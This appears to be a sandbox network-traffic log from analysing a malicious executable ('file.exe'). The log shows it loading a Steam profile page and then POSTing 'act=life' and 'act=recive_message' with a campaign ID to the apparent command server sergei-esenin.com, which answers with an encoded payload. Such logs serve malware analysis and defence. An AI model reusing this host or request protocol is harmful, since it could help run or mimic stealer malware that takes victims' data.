2024-10-24 07:07:11 UTC	1917	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Thu, 24 Oct 2024 07:07:11 GMT Content-Length: 35741 Connection: close Set-Cookie: sessionid=27c225fad82f110f13c77afc; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cbcfeb0e5371aba24e9977faccad43253; Path=/; Secure; HttpOnly; SameSite=None
2024-10-24 07:07:11 UTC	14467	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-24 07:07:11 UTC	16384	IN	Data Raw: 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 64 69 73 63 75 73 73 69 6f 6e 73 2f 22 3e 0d 0a 09 09 09 09 09 09 44 69 73 63 75 73 73 69 6f 6e 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 77 6f 72 6b 73 68 6f 70 2f 22 3e 0d 0a 09 09 09 09 09 09 57 6f 72 6b 73 68 6f 70 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 Data Ascii: <a class="submenuitem" href="https://steamcommunity.com/discussions/">Discussions</a><a class="submenuitem" href="https://steamcommunity.com/workshop/">Workshop</a><a class="submenuit
2024-10-24 07:07:11 UTC	3768	IN	Data Raw: 63 31 63 64 66 65 62 5f 66 75 6c 6c 2e 6a 70 67 22 3e 0d 0a 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 62 61 64 67 65 69 6e 66 6f 22 3e 0d 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 62 61 64 67 65 69 6e 66 6f 5f 62 61 64 67 65 5f 61 72 65 61 22 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 64 61 74 61 2d 70 61 6e 65 6c 3d 22 7b 26 71 75 6f 74 3b 66 6f 63 75 73 61 62 6c 65 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 63 6c 69 63 6b 4f 6e 41 63 74 69 76 61 74 65 26 71 75 6f 74 3b 3a 74 72 75 65 7d 22 20 63 6c 61 73 73 3d 22 70 65 Data Ascii: c1cdfeb_full.jpg"></div></div><div class="profile_header_badgeinfo"><div class="profile_header_badgeinfo_badge_area"><a data-panel="{"focusable":true,"clickOnActivate":true}" class="pe
2024-10-24 07:07:11 UTC	1122	IN	Data Raw: 70 72 6f 70 65 72 74 79 20 6f 66 20 74 68 65 69 72 20 72 65 73 70 65 63 74 69 76 65 20 6f 77 6e 65 72 73 20 69 6e 20 74 68 65 20 55 53 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 75 6e 74 72 69 65 73 2e 3c 62 72 2f 3e 53 6f 6d 65 20 67 65 6f 73 70 61 74 69 61 6c 20 64 61 74 61 20 6f 6e 20 74 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 70 72 6f 76 69 64 65 64 20 62 79 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 6c 69 6e 6b 66 69 6c 74 65 72 2f 3f 75 3d 68 74 74 70 25 33 41 25 32 46 25 32 46 77 77 77 2e 67 65 6f 6e 61 6d 65 73 2e 6f 72 67 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 72 65 6c 3d 22 20 6e 6f 6f 70 65 6e 65 72 22 3e 67 65 6f 6e 61 6d 65 73 2e 6f 72 67 3c 2f 61 3e 2e 09 09 Data Ascii: property of their respective owners in the US and other countries.<br/>Some geospatial data on this website is provided by <a href="https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org" target="_blank" rel=" noopener">geonames.org</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49713	104.21.53.8	443	2532	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 07:07:12 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: sergei-esenin.com
2024-10-24 07:07:12 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-24 07:07:12 UTC	564	IN	HTTP/1.1 403 Forbidden Date: Thu, 24 Oct 2024 07:07:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=w28vxge5HmriY5JKKQzDt9F5iQCvCp7wdZ%2F5N%2FMVd3cg2%2BOdfh2hp1h%2B8%2FQYxk7AZKnb37myOSzYh5KCR1S2zFa5tJFHDvmIafKXRDk9zChnBrF87Ataivb2TvGwf563R7Ddvw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7820eb6c216c2c-DFW
2024-10-24 07:07:12 UTC	805	IN	Data Raw: 31 31 35 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1154<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-10-24 07:07:12 UTC	1369	IN	Data Raw: 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d Data Ascii: n-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElem
2024-10-24 07:07:12 UTC	1369	IN	Data Raw: 63 63 65 73 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 34 30 34 30 34 30 3b 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 62 6f 72 64 65 72 3a 20 30 3b 22 3e 4c 65 61 72 6e 20 4d 6f 72 65 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 6f 72 6d 20 61 63 74 69 6f 6e 3d 22 2f 63 64 6e 2d 63 67 69 2f 70 68 69 73 68 2d 62 79 70 61 73 73 22 20 6d 65 74 68 6f 64 3d 22 47 45 54 22 20 65 6e 63 74 79 70 65 3d 22 74 65 78 74 2f 70 6c 61 69 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: ccess-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action="/cdn-cgi/phish-bypass" method="GET" enctype="text/plain">
2024-10-24 07:07:12 UTC	901	IN	Data Raw: 30 2e 37 31 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f 72 2d 6c 61 Data Ascii: 0.71</span> <span class="cf-footer-separator sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-la
2024-10-24 07:07:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49714	104.21.53.8	443	2532	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 07:07:13 UTC	354	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=ZNyVIrCFolKfHmaH_9EIUk8R94A7S47wV6pI0a4oLtA-1729753632-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: sergei-esenin.com
2024-10-24 07:07:13 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-24 07:07:13 UTC	1018	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 07:07:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qf4k5upk0ko37h1n448mkrifv8; expires=Mon, 17 Feb 2025 00:53:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CWI3HF%2BNkc0M3JhHG5h%2F3r7vuL4VGM%2FMwUQrvHwRKI813VexcdZ%2FgbetlnhlqJF7KkFh7OU3hFbE6Tmz9TTaOdwpYHHMxUkhmSsOKX8pyS9BHibhcvnbCQEHcTb5YX344CihFw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7820f0d9d12877-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1320&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=1042&delivery_rate=2159582&cwnd=251&unsent_bytes=0&cid=fb058ded1c9ad2d5&ts=568&x=0"
2024-10-24 07:07:13 UTC	351	IN	Data Raw: 32 35 38 65 0d 0a 49 6e 6c 72 77 66 63 72 2b 36 49 4c 4d 43 38 38 79 46 50 64 5a 57 74 36 37 76 74 51 56 34 48 78 4c 72 70 53 57 32 74 52 48 4e 70 5a 57 78 33 6a 7a 52 2f 58 67 48 68 56 44 51 61 38 49 61 67 41 52 31 69 50 6e 33 4a 74 35 35 42 43 79 54 64 33 53 53 64 78 2b 42 67 66 43 71 32 45 54 74 65 41 62 6b 67 4e 42 70 4d 6f 2f 77 41 46 57 4e 54 5a 4e 54 33 6a 6b 45 4c 59 4d 7a 41 45 49 58 43 35 53 68 55 4d 71 5a 4a 49 6e 38 4e 6e 58 55 70 5a 72 54 4b 33 43 77 49 58 68 70 5a 79 65 36 4f 55 56 4a 68 6f 65 53 59 30 61 4c 74 76 47 42 69 71 31 56 62 58 32 53 6c 56 51 52 37 79 63 62 77 41 43 52 61 49 6e 7a 73 2f 36 5a 6c 4b 32 54 59 78 47 7a 68 36 73 6b 6f 62 44 36 69 59 51 59 76 4f 62 56 70 42 58 36 63 79 2f 30 6c 4a 48 35 54 5a 61 6e 57 77 6f 55 2f 4a 49 Data Ascii: 258eInlrwfcr+6ILMC88yFPdZWt67vtQV4HxLrpSW2tRHNpZWx3jzR/XgHhVDQa8IagAR1iPn3Jt55BCyTd3SSdx+BgfCq2ETteAbkgNBpMo/wAFWNTZNT3jkELYMzAEIXC5ShUMqZJIn8NnXUpZrTK3CwIXhpZye6OUVJhoeSY0aLtvGBiq1VbX2SlVQR7ycbwACRaInzs/6ZlK2TYxGzh6skobD6iYQYvObVpBX6cy/0lJH5TZanWwoU/JI
2024-10-24 07:07:13 UTC	1369	IN	Data Raw: 36 32 55 52 4a 6e 53 59 56 6c 47 57 37 67 36 74 67 6f 45 47 49 47 54 50 54 62 6a 6c 45 62 53 50 7a 4d 4e 50 6e 4f 2b 51 42 74 4a 37 64 56 4f 67 59 41 78 45 6d 35 62 75 6a 61 7a 45 55 73 69 7a 49 5a 38 4c 4b 4f 55 51 4a 68 6f 65 51 45 32 66 62 74 4c 46 41 71 72 6e 6c 75 5a 30 6d 39 66 53 45 79 73 4e 4c 45 4e 43 67 71 47 6c 7a 51 32 36 70 68 46 33 54 63 39 53 58 30 2b 76 31 68 62 55 65 4f 30 52 4a 4c 4d 59 30 56 4e 48 72 56 2f 70 6b 63 4f 46 4d 7a 42 63 6a 48 69 6c 30 33 63 50 6a 63 4e 50 33 69 32 54 52 51 50 71 5a 56 4f 6b 38 68 68 55 30 42 56 70 54 47 36 43 67 30 65 67 4a 67 33 64 61 33 54 53 38 42 77 59 55 6b 64 65 62 74 53 57 54 79 67 6d 30 65 65 31 69 6c 4e 41 30 66 71 4e 72 4e 48 55 56 69 43 6e 44 30 6e 34 6f 46 4a 31 69 49 31 44 44 56 7a 75 30 34 62 Data Ascii: 62URJnSYVlGW7g6tgoEGIGTPTbjlEbSPzMNPnO+QBtJ7dVOgYAxEm5bujazEUsizIZ8LKOUQJhoeQE2fbtLFAqrnluZ0m9fSEysNLENCgqGlzQ26phF3Tc9SX0+v1hbUeO0RJLMY0VNHrV/pkcOFMzBcjHil03cPjcNP3i2TRQPqZVOk8hhU0BVpTG6Cg0egJg3da3TS8BwYUkdebtSWTygm0ee1ilNA0fqNrNHUViCnD0n4oFJ1iI1DDVzu04b
2024-10-24 07:07:13 UTC	1369	IN	Data Raw: 65 65 31 69 6c 4e 41 30 66 71 4e 72 4e 48 55 56 69 41 6b 44 49 2b 36 5a 64 4d 33 7a 30 38 43 6a 52 39 74 55 63 52 42 36 53 52 52 5a 44 4e 62 31 4a 4b 57 71 38 6a 75 67 34 46 46 4d 7a 58 63 6a 4c 37 30 78 53 59 48 7a 34 66 4d 46 47 37 55 52 4a 4a 76 4e 74 51 32 63 64 6c 45 68 55 65 72 54 53 33 44 41 38 51 6a 49 73 33 4f 2b 69 53 52 74 34 78 4e 41 55 31 66 72 6c 41 48 51 57 6a 6b 6b 36 4c 30 6d 78 55 58 31 54 71 66 2f 38 41 45 56 6a 55 32 51 51 6c 39 49 4a 61 6d 67 55 36 42 7a 31 35 72 67 41 45 52 37 72 56 54 70 57 41 4d 52 4a 47 58 71 59 32 74 77 45 4e 45 49 4f 57 4f 79 66 69 6e 30 4c 4b 4e 7a 6b 41 50 58 47 30 53 52 59 4f 72 70 35 44 6c 4d 52 75 55 77 30 51 36 6a 61 6e 52 31 46 59 75 6f 6b 2f 4f 63 32 59 51 4e 46 77 4a 6b 63 71 50 72 39 4d 57 31 48 6a 6b Data Ascii: ee1ilNA0fqNrNHUViAkDI+6ZdM3z08CjR9tUcRB6SRRZDNb1JKWq8jug4FFMzXcjL70xSYHz4fMFG7URJJvNtQ2cdlEhUerTS3DA8QjIs3O+iSRt4xNAU1frlAHQWjkk6L0mxUX1Tqf/8AEVjU2QQl9IJamgU6Bz15rgAER7rVTpWAMRJGXqY2twENEIOWOyfin0LKNzkAPXG0SRYOrp5DlMRuUw0Q6janR1FYuok/Oc2YQNFwJkcqPr9MW1Hjk
2024-10-24 07:07:13 UTC	1369	IN	Data Raw: 6f 56 6b 68 62 72 6a 61 37 41 51 5a 59 77 74 6b 31 4c 61 50 4c 44 50 63 58 44 45 73 53 52 50 68 66 56 52 44 6a 6b 6b 58 5a 6d 43 6c 65 54 6c 4b 69 50 72 6b 4f 42 52 4b 46 6b 6a 34 2b 35 35 39 46 33 54 59 34 44 44 5a 2f 76 45 77 52 44 36 43 57 52 70 62 50 59 52 49 44 48 71 30 70 2f 31 39 4a 50 5a 75 53 50 44 4f 6a 6a 41 4c 42 63 44 34 46 63 79 62 34 54 42 49 50 70 5a 42 46 6d 4d 5a 68 56 30 56 61 71 7a 65 35 42 41 59 63 69 5a 67 39 4d 65 2b 64 52 74 6b 78 4e 51 49 38 64 62 30 41 56 55 6d 6b 6a 51 6e 42 67 46 68 52 57 30 6d 36 50 66 38 59 52 77 48 4d 6e 6a 35 31 75 39 4e 4e 79 6a 6f 7a 42 7a 5a 78 76 55 4d 55 44 71 36 54 52 5a 50 4a 59 56 52 43 56 37 67 79 73 77 6b 4f 46 6f 43 58 50 7a 2f 67 6e 67 79 57 63 44 34 52 63 79 62 34 62 42 77 45 6a 5a 35 46 6e 6f Data Ascii: oVkhbrja7AQZYwtk1LaPLDPcXDEsSRPhfVRDjkkXZmCleTlKiPrkOBRKFkj4+559F3TY4DDZ/vEwRD6CWRpbPYRIDHq0p/19JPZuSPDOjjALBcD4Fcyb4TBIPpZBFmMZhV0Vaqze5BAYciZg9Me+dRtkxNQI8db0AVUmkjQnBgFhRW0m6Pf8YRwHMnj51u9NNyjozBzZxvUMUDq6TRZPJYVRCV7gyswkOFoCXPz/gngyWcD4Rcyb4bBwEjZ5Fno
2024-10-24 07:07:13 UTC	1369	IN	Data Raw: 48 75 52 78 75 42 39 4a 51 4d 79 76 4e 53 58 7a 6b 41 37 70 4a 6a 6f 66 4f 48 4f 30 41 41 52 48 75 74 56 4f 6c 59 41 78 45 6b 74 52 6f 7a 4b 77 42 67 41 55 67 5a 77 37 4d 4f 4b 56 53 4e 49 36 4f 51 38 31 66 37 31 4b 47 41 69 70 6e 45 36 52 78 32 70 41 44 52 44 71 4e 71 64 48 55 56 69 6c 6e 69 41 37 38 39 4e 54 6c 69 6c 35 44 6a 38 2b 34 41 41 66 41 36 79 52 54 70 58 47 62 46 52 41 58 36 55 77 76 77 67 4e 45 34 57 66 4d 7a 6a 6d 6e 6b 6a 4b 4f 6a 49 47 50 33 65 30 54 56 74 48 34 35 4a 52 32 5a 67 70 59 30 42 51 70 44 61 70 52 78 5a 57 6c 64 6b 31 4f 61 50 4c 44 4e 6b 38 4e 67 6f 38 66 62 74 42 45 52 75 78 6d 55 43 52 78 57 56 5a 51 31 69 34 4e 37 41 4f 43 68 75 46 6e 6a 6f 35 36 5a 42 4c 6d 48 35 35 44 69 73 2b 34 41 41 34 48 72 4f 59 43 59 61 4f 63 42 4a Data Ascii: HuRxuB9JQMyvNSXzkA7pJjofOHO0AARHutVOlYAxEktRozKwBgAUgZw7MOKVSNI6OQ81f71KGAipnE6Rx2pADRDqNqdHUVilniA789NTlil5Dj8+4AAfA6yRTpXGbFRAX6UwvwgNE4WfMzjmnkjKOjIGP3e0TVtH45JR2ZgpY0BQpDapRxZWldk1OaPLDNk8Ngo8fbtBERuxmUCRxWVZQ1i4N7AOChuFnjo56ZBLmH55Dis+4AA4HrOYCYaOcBJ
2024-10-24 07:07:13 UTC	1369	IN	Data Raw: 72 6b 4a 47 78 32 4b 6c 6a 30 38 36 70 64 45 32 7a 41 39 44 54 52 37 75 30 77 51 44 71 43 61 54 5a 44 4f 59 46 30 4e 45 4f 6f 32 70 30 64 52 57 4b 32 43 4d 54 6e 75 30 31 4f 57 4b 58 6b 4f 50 7a 37 67 41 42 63 48 70 70 56 44 6e 38 52 73 56 45 64 62 71 6a 71 38 43 41 30 65 69 4a 59 79 50 75 71 53 53 74 30 36 4d 67 38 2b 66 62 35 47 57 30 66 6a 6b 6c 48 5a 6d 43 6c 79 56 6c 4f 6d 4e 76 38 59 52 77 48 4d 6e 6a 35 31 75 39 4e 48 31 44 51 2b 43 54 35 39 73 45 55 66 41 36 61 56 51 59 76 49 61 56 56 66 54 4b 6f 34 75 67 73 4b 47 49 69 66 4f 7a 50 67 6c 77 79 57 63 44 34 52 63 79 62 34 62 52 63 4f 69 70 4a 53 32 64 38 6e 53 77 31 5a 70 6e 48 6e 52 77 67 54 68 70 59 2f 4e 75 57 51 52 39 30 36 4f 41 34 37 63 36 70 44 46 41 61 6e 6c 55 61 66 78 6d 68 64 53 31 6d 6a Data Ascii: rkJGx2Klj086pdE2zA9DTR7u0wQDqCaTZDOYF0NEOo2p0dRWK2CMTnu01OWKXkOPz7gABcHppVDn8RsVEdbqjq8CA0eiJYyPuqSSt06Mg8+fb5GW0fjklHZmClyVlOmNv8YRwHMnj51u9NH1DQ+CT59sEUfA6aVQYvIaVVfTKo4ugsKGIifOzPglwyWcD4Rcyb4bRcOipJS2d8nSw1ZpnHnRwgThpY/NuWQR906OA47c6pDFAanlUafxmhdS1mj
2024-10-24 07:07:13 UTC	1369	IN	Data Raw: 70 66 73 71 63 56 49 2b 6d 55 58 4e 38 6e 4e 6b 6c 39 50 72 63 41 51 7a 44 6a 6e 45 36 43 30 58 39 66 58 56 6e 71 44 76 46 48 45 56 6a 55 32 51 63 32 37 5a 31 4c 7a 69 46 30 4c 69 56 30 76 31 41 63 48 71 7a 56 42 39 6e 47 4b 51 6f 65 45 4f 6f 31 72 6b 64 52 53 4e 37 43 5a 32 61 30 77 78 37 48 66 69 42 4a 4a 54 37 67 45 6c 56 4a 73 64 55 52 32 59 64 71 51 46 39 59 71 53 65 38 51 44 63 6d 71 34 4d 2f 4d 2f 53 43 63 75 59 33 49 77 51 31 61 61 6b 4d 44 67 71 74 6d 30 36 50 67 43 63 53 51 68 37 79 43 50 39 50 53 53 66 43 32 53 70 31 75 39 4e 35 32 7a 34 33 44 69 56 76 39 57 63 42 42 4b 57 43 57 4e 6d 4f 4b 56 51 4e 42 76 70 2f 2f 77 4d 59 57 4e 54 4a 59 47 36 32 77 42 75 49 59 69 5a 48 4b 6a 36 75 41 45 4e 62 37 64 56 62 32 5a 67 70 46 55 35 4d 75 44 65 38 45 Data Ascii: pfsqcVI+mUXN8nNkl9PrcAQzDjnE6C0X9fXVnqDvFHEVjU2Qc27Z1LziF0LiV0v1AcHqzVB9nGKQoeEOo1rkdRSN7CZ2a0wx7HfiBJJT7gElVJsdUR2YdqQF9YqSe8QDcmq4M/M/SCcuY3IwQ1aakMDgqtm06PgCcSQh7yCP9PSSfC2Sp1u9N52z43DiVv9WcBBKWCWNmOKVQNBvp//wMYWNTJYG62wBuIYiZHKj6uAENb7dVb2ZgpFU5MuDe8E
2024-10-24 07:07:13 UTC	1057	IN	Data Raw: 42 63 6d 32 6a 70 6b 2f 57 50 6a 34 66 49 6a 4f 66 54 68 77 49 74 59 56 65 6c 6f 41 6e 45 6b 73 65 38 6d 50 78 52 77 30 4a 7a 4d 46 69 5a 37 6a 47 48 34 39 67 61 78 5a 39 5a 2f 68 57 57 31 48 78 32 77 6d 4c 67 44 45 53 43 6c 32 34 49 37 6b 45 48 78 76 4c 70 77 77 53 37 5a 52 4e 7a 69 41 75 42 6e 78 51 6a 6d 45 6c 4e 37 61 57 52 35 66 48 66 30 4d 4e 45 4f 6f 2b 2f 31 38 77 57 4d 54 5a 44 58 75 6a 69 77 79 41 63 41 77 4b 50 58 43 2f 56 67 70 45 68 4a 74 4f 6d 4e 5a 35 52 55 49 52 68 41 65 65 52 30 64 59 69 74 6c 71 5a 36 33 54 53 4d 6c 77 59 56 6c 68 4a 65 30 54 54 46 6e 78 69 67 65 41 67 48 38 53 46 51 7a 6b 63 61 31 48 55 56 6a 4c 6d 69 